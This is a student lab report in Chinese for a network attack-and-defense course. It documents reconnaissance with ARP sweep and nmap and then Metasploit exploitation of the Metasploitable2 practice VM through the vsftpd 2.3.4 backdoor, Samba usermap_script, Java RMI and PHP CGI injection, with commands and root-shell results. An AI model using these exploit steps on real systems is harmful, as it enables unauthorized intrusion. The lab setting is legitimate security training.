20232307 2025-2026-1 《网络与系统攻防技术》实验六实验报告
20232307 2025-2026-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
下载官方靶机Metasploitable2,kali作为攻击机。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
2.实验过程
2.1 前期渗透
(1)主机发现(可用Aux中的arp_sweep,search一下就可以use)
下载官方靶机Metasploitable2,kali作为攻击机。
查看攻击机和靶机的IP:
靶机的IP为:192.168.190.153

攻击机的IP为:192.168.190.137

(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
在kali虚拟机启动metasploit,使用arp_sweep模块扫描靶机所在的网段,使用命令如下:
msfconsole # 启动Metasploit框架的交互式控制台(MSF终端)
search arp_sweep # 在Metasploit的模块库中搜索arp_sweep模块
use 0 # 使用auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.190.0/24 #配置模块的目标主机范围
set THREADS 10 # 同时启动10个线程进行扫描,提高扫描效率
run
结果如下图所示:

由上图可知,扫描发现了以下活跃主机:
192.168.190.1
192.168.190.2
192.168.190.153
192.168.190.254
这些主机标注为VMware, Inc.,说明它们很可能是运行在VMware虚拟化环境中的设备,比如虚拟机、VMware网络组件等。
(2)端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
① 使用namp扫描,使用如下命令:
nmap -sS -sV 192.168.190.153
-sS:表示使用TCP SYN 扫描,即半开扫描;-sV表示进行服务版本检测。对 192.168.190.153这台主机进行 TCP SYN 半开扫描,同时检测其开放端口上运行的服务及版本信息。
结果如下图所示:

从 Nmap 扫描结果来看,目标主机是一台运行Linux系统的设备,开放了大量高危端口和服务。其中包括FTP、SSH、Telnet、HTTP、Samba、MySQL、VNC以及Apache Tomcat等服务。这些服务版本较旧且多为渗透测试靶机 “Metasploitable” 的典型配置,整体安全防护薄弱,存在极高的被攻击风险,可作为渗透测试的重点目标进行漏洞利用和权限提升尝试。
② 使用Metasploit的portscan/tcp模块
在kali中执行msfconsole启动metasploit
msfconsole
设置扫描的靶机的IP并运行
set RHOSTS 192.168.190.153 #配置模块的目标主机
set THREADS 10 # 同时启动10个线程进行扫描,提高扫描效率
run
结果如下图所示:

由上图扫描结果可得:该主机开放了大量TCP端口,包括21、22、23、25、53、80等在内的多个常见服务端口均处于开放状态。结合此前Nmap扫描和ARP扫描的结果,进一步印证了该主机是一台安全防护薄弱的Metasploitable靶机,存在大量可被利用的服务和端口。
(3)扫描系统版本、漏洞等。
使用如下命令进行漏洞扫描:
nmap -script=vuln 192.168.190.153
-script=vuln:指定加载nmap的漏洞检测脚本集。vuln是预设的脚本类别,包含多个用于检测常见漏洞的脚本,如心脏出血、Shellshock、CVE 编号相关漏洞等,扫描时会对目标进行已知漏洞的探测。
扫描结果如下图所示:
21端口:

该主机的21/tcp端口存在高危漏洞,具体是vsFTPd版本2.3.4的后门漏洞。该漏洞状态为可利用,攻击者可通过该后门执行系统命令,扫描结果中执行id命令返回了uid=0(root) gid=0(root),表明已获取目标主机的 root 权限。
80端口:

扫描80端口可以发现该主机的Web服务存在HTTP方法滥用和SQL注入两类安全隐患。
139、1099端口:

139端口对应的netbios-ssn服务存在空会话攻击、信息泄露及远程利用风险。该端口用于Windows文件和打印机共享的NetBIOS会话服务,易被攻击者利用空会话获取系统账户信息,导致攻击者浏览共享资源、编辑删除文件甚至进一步控制主机。
1099端口的rmiregistry服务存在严重漏洞。该漏洞属于RMI注册表默认配置远程代码执行漏洞,而可导致远程代码执行。参考信息指向Metasploit框架中针对Java RMI服务的漏洞利用模块,说明该主机的RMI服务存在高危安全隐患,易被攻击者利用实现远程控制。
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
msfconsole #启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor #选择漏洞
set RHOST 192.168.190.153 #设置要攻击的机器IP(靶机IP)
exploit/run #开始攻击

运行后结果如下图所示,利用成功,执行uname –a、 pwd、 id等命令验证

通过Metasploit的vsftpd_234_backdoor漏洞利用模块,成功对192.168.190.153的 21端口发起攻击。利用该服务的经典后门漏洞,成功获取了目标主机的命令行Shell,使用id查看当前权限,确认是否为 root;使用uname -a获取系统内核版本。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
使用nmap -p 139 192.168.190.153查看靶机的139端口是否开放:

可以看到,139端口的状态是open.
在msf中:
use exploit/multi/samba/usermap_script #选择漏洞
set RHOST 192.168.190.153 #设置要攻击的机器IP
exploit/run #开始攻击
如下图所示:

运行后执行uname–a验证:

结果可见:通过Metasploit的multi/samba/usermap_script漏洞利用模块,成功对192.168.190.153发起攻击。利用Samba服务的漏洞,建立了反向TCP Shell连接,获取到目标主机的命令行权限。执行uname -a命令后,确认目标主机运行的是Linux metasploitable 2.6.24-16-server系统。
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
使用nmap -p 139 192.168.190.1099查看靶机的139端口是否开放:

可以看到,1099端口的状态是open.
然后在MSF中:
use exploit/multi/misc/java_rmi_server #选择漏洞
show options 查看配置参数 #查看配置参数
set RHOST 192.168.190.153 #设置要攻击的机器IP
exploit/run #开始攻击

运行后,使用如下命令:
sessions -i 1 #与ID为1的会话进行交互
shell #进入meterpreter时,使用whoami验证下

进入shell环境后,执行pwd命令显示当前位于根目录,uname -a命令表明目标系统为Linux metasploitable 2.6.24-16-server版本的i686架构系统,ifconfig命令显示其IP地址为192.168.190.153。
2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection #选择漏洞
set RHOST 192.168.190.153 #设置要攻击的机器IP
exploit/run #开始攻击

运行后结果如下图所示:

通过shell命令获取目标系统的命令行交互环境,执行whoami命令后返回root,说明已获取目标系统的最高权限。
3.问题及解决方案
- 问题1:Metasploitable2下载安装过程中出现卡顿,发现连校园网下载竟然要几个小时
- 问题1解决方案:关掉重新下载,换用手机流量,下载飞速~
4.学习感悟、思考等
本次实验可以说是最顺利的一次实验,整体的实验过程非常流畅,可以说是基本没有什么问题,当然这也是因为有前期的实验二利用msf的经验和实验五通过msf选择漏洞攻陷靶机的基础,现在metasploit的用法掌握更进一步。
本次实验也让我进一步理解了网络攻防的逻辑,在实验过程中要理解实验的原理及每个命令的含义。学习和实验都是一个循序渐进的过程,提高理解力才能更进一步。

浙公网安备 33010602011771号